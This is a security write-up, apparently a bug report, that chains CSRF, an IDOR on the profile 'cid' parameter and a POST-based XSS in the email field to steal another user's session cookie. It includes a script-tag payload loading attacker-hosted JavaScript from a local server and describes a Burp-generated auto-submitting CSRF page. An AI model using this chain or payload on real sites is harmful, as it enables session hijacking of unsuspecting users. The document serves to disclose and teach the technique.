CSRF + IDOR + POST XSS = Session Hijacking

[fhkzero]

There is an XSS on #32, but this XSS is not effective because it is POST-based and only affects the user itself. By its nature, XSS is quite dangerous when it can be fed to the other party with a GET request, but the situation is different with a POST request. Here, I have combined 3 vulnerabilities in the web application and made POST XSS deliverable to the target user and made it a structure that performs session hijacking.

First, I create my script.js file in a temporary directory. This js file contains the payload to the target. The goal here is to steal the cookie value of the target user.

In the index.php file, there are codes that simply take the information from the target and print it on the screen.

I start my PHP server in this folder.

Now I come to my user area and log in with my address [email protected]. I click on Update profile and on the screen that appears, I click on Update without changing anything. I capture the outgoing HTTP request. As you can see, I am the user with cid value 17. Our victim user will be the user with cid value 18.

I pass this request to the repeater and make changes to it. The first change is to set the cid value to 18. The second change is to delete the fhkzero part in the email field and replace it with the URL-encoded <script src=http://127.0.0.1:9090/script.js></script> payload.

After these changes, I use the CSRF PoC Generator feature offered by the Burp Suite tool.

Here we create a malicious HTML. With this HTML page, we replace the e-mail address with the specified XSS payload. The page has an auto-submit feature. This means that the victim user who opens this HTML page will be affected by this attack.

To test the page, I copy the link and open it in my browser. Before opening it, I log into the account of the victim user, [email protected]. I will open the vulnerable HTML after logging into this account. (Note: This simulates the victim user opening the malicious HTML page. Just as the target user is attacked via a link with reflected XSS, here the target user is attacked via malicious HTML [i.e. using a csrf attack]. Due to the nature of the attack, it is assumed that the victim will open this HTML. This will make the normally ineffective POST XSS vulnerability fatally harmful).

As you can see, I'm inside. Now I open the HTML.

It tells me that no such email is registered. This is a response we expected because the source code verifies the existence of the email, but it takes the username from the email value before performing the verification. When Victimuser refreshes the page, the following image appears:

Here, the username value received from the e-mail was triggered inside and as a result of the payload we wrote, the cookie value of the victimuser user was transmitted to our server. With this cookie, the attacker can steal the victim's session.

References:
https://owasp.org/www-community/attacks/Session_hijacking_attack
https://portswigger.net/web-security/csrf
https://cwe.mitre.org/data/definitions/639.html
https://trustedsec.com/blog/chaining-vulnerabilities-to-exploit-post-based-reflected-xss